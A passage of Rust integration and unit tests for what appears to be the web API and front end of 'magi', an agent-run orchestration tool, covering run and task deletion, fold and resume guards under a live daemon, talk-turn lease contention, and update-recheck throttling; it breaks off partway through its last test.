21141        );
21142        t3.status = TaskStatus::Running;
21143        q.put(&mut t3).expect("put t3");
21144        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
21145        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
21146        assert_eq!(res.status, 204);
21147        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
21148        assert!(
21149            q.claim(&t3.id).is_ok(),
21150            "the stale lock went with it, so the id is claimable again"
21151        );
21152
21153        // 4. Missing id returns 404
21154        let res = fx.delete("/api/queue/nonexistent").await;
21155        assert_eq!(res.status, 404);
21156    }
21157
21158    #[tokio::test]
21159    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
21160        let fx = Fixture::start().await;
21161        let runs = fx.runs();
21162
21163        // 1. Finished and folded run can be deleted along with artifacts
21164        let run_id = "20260901-000000-fold";
21165        let mut state = RunState::new(
21166            PathBuf::from("/repo"),
21167            "main".to_owned(),
21168            "abc".to_owned(),
21169            "instruction".to_owned(),
21170            Config::default(),
21171        );
21172        state.id = run_id.to_owned();
21173        state.status = RunStatus::Merged;
21174        state.candidates.push(crate::run::Candidate {
21175            index: 0,
21176            label: 'A',
21177            agent: "a".to_owned(),
21178            branch: "b".to_owned(),
21179            worktree: PathBuf::from("/w"),
21180            summary: String::new(),
21181            stat: String::new(),
21182            files: 1,
21183            commits: 1,
21184            empty: false,
21185            failed: None,
21186            verified_noop: None,
21187            duration_ms: 0,
21188            folded: true,
21189        });
21190        let dir = runs.join(run_id);
21191        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
21192        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
21193            .expect("write artifact");
21194        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
21195            .expect("write run.json");
21196
21197        // Delete by short id
21198        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
21199        assert_eq!(res.status, 204);
21200        assert!(res.body.is_empty(), "204 has no body");
21201        assert!(!dir.exists(), "run directory and artifacts must be deleted");
21202
21203        // 2. A run a live daemon is working on is refused with 409. The
21204        // heartbeat is what makes it refusable: an unfinished run with no
21205        // daemon behind it is a leftover from a killed process, and case 1
21206        // above would otherwise be impossible to tell apart from this one.
21207        let run_running = "20260901-000000-rung";
21208        write_run(&runs, run_running, RunStatus::Prep);
21209        let mut beat = crate::daemon::Status::new();
21210        beat.current = vec![crate::daemon::Current {
21211            worker: None,
21212            task: "20260901-000000-task".to_owned(),
21213            run: run_running.to_owned(),
21214        }];
21215        beat.updated_at = jiff::Timestamp::now();
21216        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21217            .expect("publish a heartbeat");
21218        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
21219        assert_eq!(res.status, 409);
21220        assert!(
21221            res.json()["error"]
21222                .as_str()
21223                .unwrap()
21224                .contains("live daemon"),
21225            "the refusal must say who is holding it"
21226        );
21227        assert!(
21228            runs.join(run_running).exists(),
21229            "a run in flight keeps its directory"
21230        );
21231
21232        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
21233        let run_unfolded = "20260901-000000-unfd";
21234        let mut state2 = RunState::new(
21235            PathBuf::from("/repo"),
21236            "main".to_owned(),
21237            "abc".to_owned(),
21238            "instruction".to_owned(),
21239            Config::default(),
21240        );
21241        state2.id = run_unfolded.to_owned();
21242        state2.status = RunStatus::Ready;
21243        state2.candidates.push(crate::run::Candidate {
21244            index: 0,
21245            label: 'A',
21246            agent: "a".to_owned(),
21247            branch: "b".to_owned(),
21248            worktree: PathBuf::from("/w"),
21249            summary: String::new(),
21250            stat: String::new(),
21251            files: 1,
21252            commits: 1,
21253            empty: false,
21254            failed: None,
21255            verified_noop: None,
21256            duration_ms: 0,
21257            folded: false,
21258        });
21259        let dir2 = runs.join(run_unfolded);
21260        std::fs::create_dir_all(&dir2).expect("create dir2");
21261        std::fs::write(
21262            dir2.join("run.json"),
21263            serde_json::to_string(&state2).unwrap(),
21264        )
21265        .expect("write run.json");
21266
21267        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
21268        assert_eq!(res.status, 409);
21269        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
21270        assert!(dir2.exists(), "unfolded run directory is kept");
21271
21272        // 4. Missing id returns 404
21273        let res = fx.delete("/api/runs/nonexistent").await;
21274        assert_eq!(res.status, 404);
21275    }
21276
21277    /// The queue tiles on the Stats tab must render even on a home with no
21278    /// runs at all: queue state is not derived from run history, so hiding
21279    /// the whole dashboard body behind "no runs yet" would drop the one
21280    /// thing this tab promises unconditionally (queued/running/held/done).
21281    /// A DOM-level test would need a browser this suite does not have, so
21282    /// this pins the same invariant textually: `renderStatsQueue` is called
21283    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
21284    /// block that gates the run-derived panels.
21285    #[test]
21286    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
21287        let start = APP_JS
21288            .find("function renderStats() {")
21289            .expect("renderStats");
21290        let end = start
21291            + APP_JS[start..]
21292                .find("function statsTile(")
21293                .expect("the next top-level function");
21294        let body = &APP_JS[start..end];
21295
21296        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
21297        let gate_end = gate_start
21298            + body[gate_start..]
21299                .find("}\n  renderStatsQueue")
21300                .expect("the gate's own closing brace, right before the unconditional call");
21301        let gated = &body[gate_start..gate_end];
21302
21303        assert_eq!(
21304            body.matches("renderStatsQueue(").count(),
21305            1,
21306            "renderStats must call renderStatsQueue exactly once: {body}"
21307        );
21308        assert!(
21309            !gated.contains("renderStatsQueue"),
21310            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
21311             run-derived panels on an empty run history - the queue panel has to render \
21312             regardless: {gated}"
21313        );
21314    }
21315
21316    #[test]
21317    fn web_ui_delete_contract_in_front_end() {
21318        // 1. API block has both delete endpoints
21319        assert!(APP_JS.contains("deleteRun:"));
21320        assert!(APP_JS.contains("deleteTask:"));
21321
21322        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
21323        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
21324            ..APP_JS.find("function renderRuns").unwrap()];
21325        assert!(!run_cards_slice.to_lowercase().contains("delete"));
21326
21327        // 3. Run detail has delete entry and reasons
21328        assert!(APP_JS.contains("renderRunDelete"));
21329        assert!(APP_JS.contains("runDeleteReason"));
21330        assert!(APP_JS.contains("magi fold"));
21331        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
21332
21333        // 4. Two-step delete arming and focus on Cancel
21334        assert!(APP_JS.contains("cancel.focus"));
21335        assert!(APP_JS.contains("armedRunDelete"));
21336        assert!(APP_JS.contains("renderTaskDeleteBox"));
21337        assert!(APP_JS.contains("armed${cap(key)}"));
21338
21339        // 5. Running task has disabled delete
21340        assert!(APP_JS.contains("disabled: status === \"running\""));
21341    }
21342
21343    /// Every element a run card's updater reaches for must be in the `refs`
21344    /// the builder handed it.
21345    ///
21346    /// `createRunCard` builds its elements, appends them to the card, and then
21347    /// lists them again in `row.refs`. That second list is the one the updater
21348    /// uses, and nothing connects the two - an element can be built, appended
21349    /// and rendered, and still be missing from `refs`. `superseded` was, for
21350    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
21351    /// exception took `syncList` with it, and the deck showed
21352    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
21353    /// line is computed before the cards, which is why the failure looked like
21354    /// a server that had lost its runs rather than a front end that had
21355    /// stopped rendering them.
21356    ///
21357    /// A `cargo test` cannot execute the front end, so this reads the two
21358    /// halves out of the source and compares them as sets. It is not a check
21359    /// on the wording of either list: adding an element, renaming one, or
21360    /// reordering them all keeps this passing, and only using one the builder
21361    /// never published fails it.
21362    #[test]
21363    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
21364        let build = APP_JS
21365            .find("function createRunCard")
21366            .expect("createRunCard exists");
21367        let update = APP_JS
21368            .find("function updateRunCard")
21369            .expect("updateRunCard exists");
21370        let end = APP_JS
21371            .find("function renderRuns")
21372            .expect("renderRuns exists");
21373
21374        // The builder's published set: the object literal assigned to `refs`.
21375        let builder = &APP_JS[build..update];
21376        let open = builder.find("refs = {").expect("createRunCard sets refs");
21377        let literal = &builder[open + "refs = {".len()..];
21378        let close = literal.find('}').expect("the refs literal is closed");
21379        let published: HashSet<&str> = literal[..close]
21380            .split(',')
21381            // `name` and `name: value` both bind `name`.
21382            .filter_map(|entry| entry.split(':').next())
21383            .map(str::trim)
21384            .filter(|name| !name.is_empty())
21385            .collect();
21386        assert!(
21387            published.len() > 5,
21388            "the refs literal did not parse into names: {published:?}"
21389        );
21390
21391        // What the updaters reach for: every `r.<name>`, where `r` is the
21392        // `const r = row.refs` alias both functions open with.
21393        let mut used: Vec<&str> = Vec::new();
21394        let updaters = &APP_JS[update..end];
21395        for (at, _) in updaters.match_indices("r.") {
21396            // `r` must be the whole identifier, not the tail of another one
21397            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
21398            let before = updaters[..at].chars().next_back();
21399            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
21400                continue;
21401            }
21402            let rest = &updaters[at + 2..];
21403            let len = rest
21404                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
21405                .unwrap_or(rest.len());
21406            if len > 0 {
21407                used.push(&rest[..len]);
21408            }
21409        }
21410        assert!(
21411            used.len() > 5,
21412            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
21413        );
21414
21415        let missing: Vec<&str> = used
21416            .iter()
21417            .copied()
21418            .filter(|name| !published.contains(name))
21419            .collect();
21420        assert!(
21421            missing.is_empty(),
21422            "a run card's updater reaches for {missing:?}, which `createRunCard` \
21423             never put in `refs` - every card will throw and the list will \
21424             render empty under a count line that says otherwise. Published: \
21425             {published:?}"
21426        );
21427    }
21428
21429    #[tokio::test]
21430    async fn folding_from_the_phone_reports_what_it_removed() {
21431        let fx = Fixture::start().await;
21432        let runs = fx.runs();
21433
21434        // A run with no candidates has nothing to fold, which is a 200 with an
21435        // honest count rather than an error: the operator asked for the trees
21436        // to be gone and they are.
21437        let id = "20260901-000000-fold";
21438        write_run(&runs, id, RunStatus::Stalled);
21439        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21440        assert_eq!(res.status, 200);
21441        assert_eq!(res.json()["removed_count"], 0);
21442        assert_eq!(res.json()["run"], id);
21443        assert!(
21444            runs.join(id).exists(),
21445            "a fold keeps the run's record; only the worktrees go"
21446        );
21447    }
21448
21449    #[tokio::test]
21450    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
21451        let fx = Fixture::start().await;
21452        let runs = fx.runs();
21453        let wt = fx.home.path().join("wt").join("magi").join("dead");
21454        let id = "20260901-000000-dead";
21455        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21456        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21457        std::fs::create_dir_all(&wt).expect("worktree dir");
21458
21459        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21460        assert_eq!(res.status, 200, "{}", res.body);
21461        assert!(
21462            res.json()["removed_count"].as_u64().unwrap() > 0,
21463            "the worktree this build could not read a state for still went"
21464        );
21465        assert!(
21466            !runs.join(id).exists(),
21467            "an unreadable run has no candidate list to fold selectively, so \
21468             the whole record goes - same as `magi fold` on the CLI"
21469        );
21470    }
21471
21472    #[tokio::test]
21473    async fn deleting_an_unreadable_run_removes_it_wholesale() {
21474        let fx = Fixture::start().await;
21475        let runs = fx.runs();
21476        let wt = fx.home.path().join("wt").join("magi").join("gone");
21477        let id = "20260901-000000-gone";
21478        std::fs::create_dir_all(runs.join(id)).expect("run dir");
21479        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
21480        std::fs::create_dir_all(&wt).expect("worktree dir");
21481
21482        let res = fx.delete(&format!("/api/runs/{id}")).await;
21483        assert_eq!(res.status, 204, "{}", res.body);
21484        assert!(!runs.join(id).exists(), "the broken record is gone");
21485        assert!(!wt.exists(), "its worktree is gone too");
21486    }
21487
21488    #[tokio::test]
21489    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
21490        let fx = Fixture::start().await;
21491        let runs = fx.runs();
21492        let id = "20260901-000000-live";
21493        write_run(&runs, id, RunStatus::Implementing);
21494
21495        let mut beat = crate::daemon::Status::new();
21496        beat.current = vec![crate::daemon::Current {
21497            worker: None,
21498            task: "20260901-000000-task".to_owned(),
21499            run: id.to_owned(),
21500        }];
21501        beat.updated_at = jiff::Timestamp::now();
21502        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21503            .expect("publish a heartbeat");
21504
21505        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
21506        assert_eq!(res.status, 409);
21507        assert!(
21508            res.json()["error"]
21509                .as_str()
21510                .unwrap()
21511                .contains("live daemon"),
21512            "folding under a running agent would pull its worktree away"
21513        );
21514    }
21515
21516    #[tokio::test]
21517    async fn fold_merged_requires_a_pr_url() {
21518        let fx = Fixture::start().await;
21519        let runs = fx.runs();
21520        let id = "20260901-000000-nourl";
21521        write_run(&runs, id, RunStatus::Blocked);
21522
21523        let res = fx
21524            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
21525            .await;
21526        assert_eq!(res.status, 400, "{}", res.body);
21527
21528        let blank = fx
21529            .post(
21530                &format!("/api/runs/{id}/fold-merged"),
21531                Some(r#"{"pr_url":"   "}"#),
21532            )
21533            .await;
21534        assert_eq!(blank.status, 400, "{}", blank.body);
21535    }
21536
21537    #[tokio::test]
21538    async fn fold_merged_is_404_for_an_unknown_run() {
21539        let fx = Fixture::start().await;
21540        let res = fx
21541            .post(
21542                "/api/runs/nosuchrun/fold-merged",
21543                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21544            )
21545            .await;
21546        assert_eq!(res.status, 404, "{}", res.body);
21547    }
21548
21549    #[tokio::test]
21550    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
21551        let fx = Fixture::start().await;
21552        let runs = fx.runs();
21553        let id = "20260901-000000-livemerge";
21554        write_run(&runs, id, RunStatus::Blocked);
21555
21556        let mut beat = crate::daemon::Status::new();
21557        beat.current = vec![crate::daemon::Current {
21558            worker: None,
21559            task: "20260901-000000-task".to_owned(),
21560            run: id.to_owned(),
21561        }];
21562        beat.updated_at = jiff::Timestamp::now();
21563        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21564            .expect("publish a heartbeat");
21565
21566        let res = fx
21567            .post(
21568                &format!("/api/runs/{id}/fold-merged"),
21569                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21570            )
21571            .await;
21572        assert_eq!(res.status, 409, "{}", res.body);
21573        assert!(
21574            res.json()["error"]
21575                .as_str()
21576                .unwrap()
21577                .contains("live daemon"),
21578            "correcting a run's merge underneath a running agent would race \
21579             whatever it is doing to the same `status`/`merge` fields"
21580        );
21581    }
21582
21583    /// A pull request `gh` cannot even ask about (no such remote, no such
21584    /// repository) must never be recorded as a merge on a guess - the same
21585    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
21586    /// command line, reached here through the phone route instead.
21587    #[tokio::test]
21588    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
21589        let fx = Fixture::start().await;
21590        let runs = fx.runs();
21591        let id = "20260901-000000-unconfirmed";
21592        write_run(&runs, id, RunStatus::Blocked);
21593
21594        let res = fx
21595            .post(
21596                &format!("/api/runs/{id}/fold-merged"),
21597                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
21598            )
21599            .await;
21600        assert_eq!(res.status, 400, "{}", res.body);
21601        assert_eq!(
21602            read_run(&runs, id).unwrap().status,
21603            RunStatus::Blocked,
21604            "a pull request that could not be confirmed merged must leave \
21605             the run exactly where it was"
21606        );
21607    }
21608
21609    #[tokio::test]
21610    async fn terminal_runs_cannot_be_resumed() {
21611        let fx = Fixture::start().await;
21612        let runs = fx.runs();
21613
21614        for (status, word) in [
21615            (RunStatus::Merged, "merged"),
21616            (RunStatus::Ready, "ready"),
21617            (RunStatus::Failed, "failed"),
21618        ] {
21619            let id = format!("20260901-000000-{}", &word[..4]);
21620            write_run(&runs, &id, status);
21621            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
21622            assert_eq!(res.status, 409, "{word} must not be resumable");
21623        }
21624    }
21625
21626    #[tokio::test]
21627    async fn resume_is_refused_while_the_loop_is_running() {
21628        let fx = Fixture::start().await;
21629        let runs = fx.runs();
21630        let stalled = "20260901-000000-stal";
21631        write_run(&runs, stalled, RunStatus::Stalled);
21632
21633        // The loop is busy with a *different* run, and that is still a
21634        // refusal: a manual resume must never race whatever the loop itself
21635        // is already driving, whether that is one run or several.
21636        let mut beat = crate::daemon::Status::new();
21637        beat.current = vec![crate::daemon::Current {
21638            worker: None,
21639            task: "20260901-000000-task".to_owned(),
21640            run: "20260901-000000-othr".to_owned(),
21641        }];
21642        beat.updated_at = jiff::Timestamp::now();
21643        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21644            .expect("publish a heartbeat");
21645
21646        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
21647        assert_eq!(res.status, 409);
21648        let err = res.json()["error"].as_str().unwrap().to_owned();
21649        assert!(err.contains("othr"), "it names what the loop is on: {err}");
21650        assert!(err.contains("stop it first"), "{err}");
21651    }
21652
21653    #[test]
21654    fn a_run_cannot_be_resumed_twice_at_once() {
21655        let home = TempDir::new().expect("temp home");
21656        let ui = Ui::new(
21657            Queue::at(home.path().join("queue")),
21658            Questions::at(home.path().join("questions")),
21659            Talks::at(home.path().join("talks")),
21660            home.path().join("runs"),
21661            home.path().to_path_buf(),
21662            PathBuf::from("/repo"),
21663        )
21664        .with_worktrees_root(home.path().join("wt"));
21665        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
21666        let again = ui.begin_resume("20260901-000000-once");
21667        assert!(again.is_err(), "a second tap must not start a second graph");
21668        drop(first);
21669        assert!(
21670            ui.begin_resume("20260901-000000-once").is_ok(),
21671            "and the claim is released when the attempt ends"
21672        );
21673    }
21674
21675    #[test]
21676    fn talk_thinking_tracks_only_its_held_turn_claim() {
21677        let home = TempDir::new().expect("temp home");
21678        let ui = Ui::new(
21679            Queue::at(home.path().join("queue")),
21680            Questions::at(home.path().join("questions")),
21681            Talks::at(home.path().join("talks")),
21682            home.path().join("runs"),
21683            home.path().to_path_buf(),
21684            PathBuf::from("/repo"),
21685        )
21686        .with_worktrees_root(home.path().join("wt"));
21687        let id = "20260901-000000-once";
21688
21689        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
21690        let turn = ui.begin_talk_turn(id).expect("claim turn");
21691        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
21692        assert!(
21693            !ui.is_thinking("20260901-000000-other"),
21694            "one talk's turn does not make another talk busy"
21695        );
21696        drop(turn);
21697        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
21698    }
21699
21700    #[test]
21701    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
21702        let home = TempDir::new().expect("temp home");
21703        let talks = Talks::at(home.path().join("talks"));
21704        let ui = Ui::new(
21705            Queue::at(home.path().join("queue")),
21706            Questions::at(home.path().join("questions")),
21707            talks.clone(),
21708            home.path().join("runs"),
21709            home.path().to_path_buf(),
21710            PathBuf::from("/repo"),
21711        )
21712        .with_worktrees_root(home.path().join("wt"));
21713        let id = "20260901-000000-cross";
21714
21715        let other = Talks::at(home.path().join("talks"))
21716            .claim_turn(id)
21717            .expect("claim")
21718            .expect("the other process wins");
21719        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
21720        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
21721        assert!(
21722            matches!(
21723                ui.begin_talk_turn_unless_pending(id).expect("start"),
21724                TalkTurnStart::Foreign
21725            ),
21726            "a foreign holder is refused, not queued behind"
21727        );
21728        assert!(
21729            !ui.talk_turns.lock().unwrap().live.contains(id),
21730            "a refused claim leaves no in-process entry behind"
21731        );
21732        drop(other);
21733        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
21734        assert!(talks.turn_held(id), "the web turn holds the lease");
21735        drop(turn);
21736        assert!(
21737            !talks.turn_held(id),
21738            "dropping the guard releases the lease"
21739        );
21740    }
21741
21742    fn consult_question(ui: &Ui) -> Question {
21743        let mut q = Question::new(
21744            "20260901-000000-consult".to_owned(),
21745            "implement".to_owned(),
21746            "impl-A".to_owned(),
21747            "Which backend?".to_owned(),
21748            String::new(),
21749            vec!["SQLite".to_owned(), "Redis".to_owned()],
21750        );
21751        ui.questions.put(&mut q).expect("question");
21752        q
21753    }
21754
21755    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
21756        (
21757            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
21758            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
21759        )
21760    }
21761
21762    #[tokio::test]
21763    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
21764        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21765        let q = consult_question(&ui);
21766        let talk = ui.talks.get(&id).expect("talk");
21767        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
21768        let before = consult_snapshot(&ui, &q, &id);
21769        let cli_talks = Talks::at(ui.home.join("talks"));
21770        assert_eq!(
21771            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
21772                .await
21773                .expect("CLI starter"),
21774            crate::consult::Started::Busy
21775        );
21776        assert_eq!(consult_snapshot(&ui, &q, &id), before);
21777        assert!(ui.is_thinking(&id));
21778        drop(guard);
21779        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
21780    }
21781
21782    #[tokio::test]
21783    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
21784        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
21785        let q = consult_question(&ui);
21786        let talk = ui.talks.get(&id).expect("talk");
21787        let started = tmp.path().join("started");
21788        let release = tmp.path().join("release");
21789        let script = tmp.path().join("consult-agent.sh");
21790        std::fs::write(
21791            &script,
21792            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
21793        )
21794        .expect("script");
21795        let mut cfg = stub_config();
21796        cfg.agents[0].id = "mock".to_owned();
21797        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
21798        cfg.agents[0].env = std::collections::BTreeMap::from([
21799            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
21800            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
21801        ]);
21802        let questions = ui.questions.clone();
21803        let cli_talks = Talks::at(ui.home.join("talks"));
21804        let cli_q = q.clone();
21805        let turn = tokio::spawn(async move {
21806            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
21807        });
21808        let ready = tokio::time::timeout(Duration::from_secs(30), async {
21809            while !started.exists() {
21810                tokio::time::sleep(Duration::from_millis(10)).await;
21811            }
21812        })
21813        .await;
21814        // Always release and join the agent, even if readiness or the web
21815        // request fails, so a failed assertion cannot leave a turn behind.
21816        let refusal = if ready.is_ok() {
21817            let before = consult_snapshot(&ui, &q, &id);
21818            let result = talk_say(
21819                State(Arc::clone(&ui)),
21820                Path(id.clone()),
21821                Ok(Json(NewTalkTurn {
21822                    reply_to: None,
21823                    text: "another message".to_owned(),
21824                    attachments: Vec::new(),
21825                })),
21826            )
21827            .await;
21828            Some((result, before, consult_snapshot(&ui, &q, &id)))
21829        } else {
21830            None
21831        };
21832        std::fs::write(&release, "").expect("release agent");
21833        let done = turn.await.expect("join CLI turn");
21834        ready.expect("agent started before deadline");
21835        let (result, before, after) = refusal.expect("web request");
21836        let error = result.expect_err("web must refuse the CLI's turn");
21837        assert_eq!(error.status, StatusCode::CONFLICT);
21838        assert!(error.message.contains("a turn is already running"));
21839        assert_eq!(
21840            after, before,
21841            "refusal preserves question, draft and history"
21842        );
21843        assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
21844        let guard = ui
21845            .begin_talk_turn(&id)
21846            .expect("web claim")
21847            .expect("free again");
21848        drop(guard);
21849    }
21850
21851    #[test]
21852    fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
21853        let home = TempDir::new().expect("temp home");
21854        let talks = Talks::at(home.path().join("talks"));
21855        let ui = Ui::new(
21856            Queue::at(home.path().join("queue")),
21857            Questions::at(home.path().join("questions")),
21858            talks.clone(),
21859            home.path().join("runs"),
21860            home.path().to_path_buf(),
21861            PathBuf::from("/repo"),
21862        )
21863        .with_worktrees_root(home.path().join("wt"));
21864        let id = "20260901-000000-order";
21865        let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
21866        // Hold the slot mutex so the drop can finish the lease but not the slot.
21867        let slots = ui.talk_turns.lock().unwrap();
21868        let dropper = std::thread::spawn(move || drop(turn));
21869        let start = std::time::Instant::now();
21870        while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
21871            std::thread::sleep(Duration::from_millis(5));
21872        }
21873        assert!(!talks.turn_held(id), "the lease is released first");
21874        assert!(slots.live.contains(id), "the slot is still held meanwhile");
21875        drop(slots);
21876        dropper.join().expect("join");
21877        assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
21878    }
21879
21880    #[tokio::test]
21881    async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
21882        let fx = Fixture::start().await;
21883        let mut beat = crate::daemon::Status::new();
21884        beat.worker_protocol = None;
21885        beat.pid = 4321;
21886        beat.updated_at = jiff::Timestamp::now();
21887        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
21888            .expect("publish a heartbeat");
21889
21890        let res = fx.post("/api/upgrade", None).await;
21891        assert_eq!(res.status, 409);
21892    }
21893
21894    /// [`should_spawn_recheck`] must refuse for the same two reasons
21895    /// [`Checker::new`](crate::updater::Checker::new) and `upgrade_post`
21896    /// already do: `mode = "off"` and the `MAGI_NO_AUTOUPDATE` kill switch.
21897    /// Purely a predicate over config and the environment - no network, no
21898    /// disk, no runtime - so unlike the fixture-based tests around it this
21899    /// one needs neither.
21900    #[test]
21901    fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
21902        assert!(!should_spawn_recheck(&crate::config::Update {
21903            mode: UpdateMode::Off,
21904            interval: None,
21905            auto_restart: false,
21906        }));
21907
21908        // SAFETY: single-threaded as far as this variable goes, the same
21909        // reasoning `updater::tests::env_kill_switch_semantics` relies on.
21910        unsafe {
21911            std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
21912        }
21913        let killed = should_spawn_recheck(&crate::config::Update {
21914            mode: UpdateMode::Notify,
21915            interval: None,
21916            auto_restart: false,
21917        });
21918        unsafe {
21919            std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
21920        }
21921        assert!(
21922            !killed,
21923            "MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
21924             one-time startup check"
21925        );
21926
21927        assert!(should_spawn_recheck(&crate::config::Update {
21928            mode: UpdateMode::Notify,
21929            interval: None,
21930            auto_restart: false,
21931        }));
21932    }
21933
21934    /// [`recheck_poll_period`] must track a configured `[update] interval`
21935    /// shorter than its own default ceiling - a fixed sleep here would leave
21936    /// an operator's short interval waiting on the next wake-up instead of on
21937    /// `should_check`, which is the same bug this whole task exists to fix,
21938    /// just one level down.
21939    #[test]
21940    fn recheck_poll_period_tracks_a_short_configured_interval() {
21941        let short = crate::config::Update {
21942            mode: UpdateMode::Notify,
21943            interval: Some("1m".to_owned()),
21944            auto_restart: false,
21945        };
21946        let period = recheck_poll_period(&short);
21947        assert!(
21948            period <= Duration::from_secs(30),
21949            "a one-minute interval must wake the task far sooner than the \
21950             default ceiling, or the deck would not notice within the \
21951             interval the operator configured: got {period:?}"
21952        );
21953
21954        let default = crate::config::Update {
21955            mode: UpdateMode::Notify,
21956            interval: None,
21957            auto_restart: false,
21958        };
21959        assert_eq!(
21960            recheck_poll_period(&default),
21961            UPDATE_RECHECK_POLL_MAX,
21962            "the default day-long interval should poll at the (capped) \
21963             ceiling rather than needlessly often"
21964        );
21965    }
21966
21967    /// [`update_recheck_due`] must not repeat a check made moments ago, the
21968    /// same throttle `updater::Checker::should_check` already gives the
21969    /// CLI's notify mode. Built over an explicit state file via
21970    /// `Checker::for_test`, never `Checker::new`, so this cannot read or
21971    /// write the operator's real `last_update_check.json` - and therefore
21972    /// cannot flake on whatever that file happens to say on the machine
21973    /// running the test.
21974    #[test]
21975    fn recheck_skips_the_network_before_the_interval_elapses() {
21976        let dir = TempDir::new().expect("temp dir");
21977        let path = dir.path().join("state.json");
21978        let state = kaishin::UpdateCheckState {
21979            last_checked_unix: jiff::Timestamp::now().as_second() as u64,
21980            last_known_latest: None,
21981            last_known_url: None,
21982        };
21983        kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
21984
21985        let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
21986        assert!(
21987            !update_recheck_due(&checker, None),
21988            "a check made moments ago must not be repeated before the \
21989             configured interval elapses"
21990        );
21991    }
21992
21993    /// An upgrade this deck already started must not be raced by a recheck
21994    /// that discovers a newer release mid-install - regardless of what
21995    /// `should_check` says, which is why the state file here is missing
21996    /// entirely: read alone, that alone would answer "never checked, go
21997    /// ahead".
21998    #[test]
21999    fn recheck_defers_to_an_upgrade_already_in_flight() {
22000        let dir = TempDir::new().expect("temp dir");
22001        let path = dir.path().join("state.json");
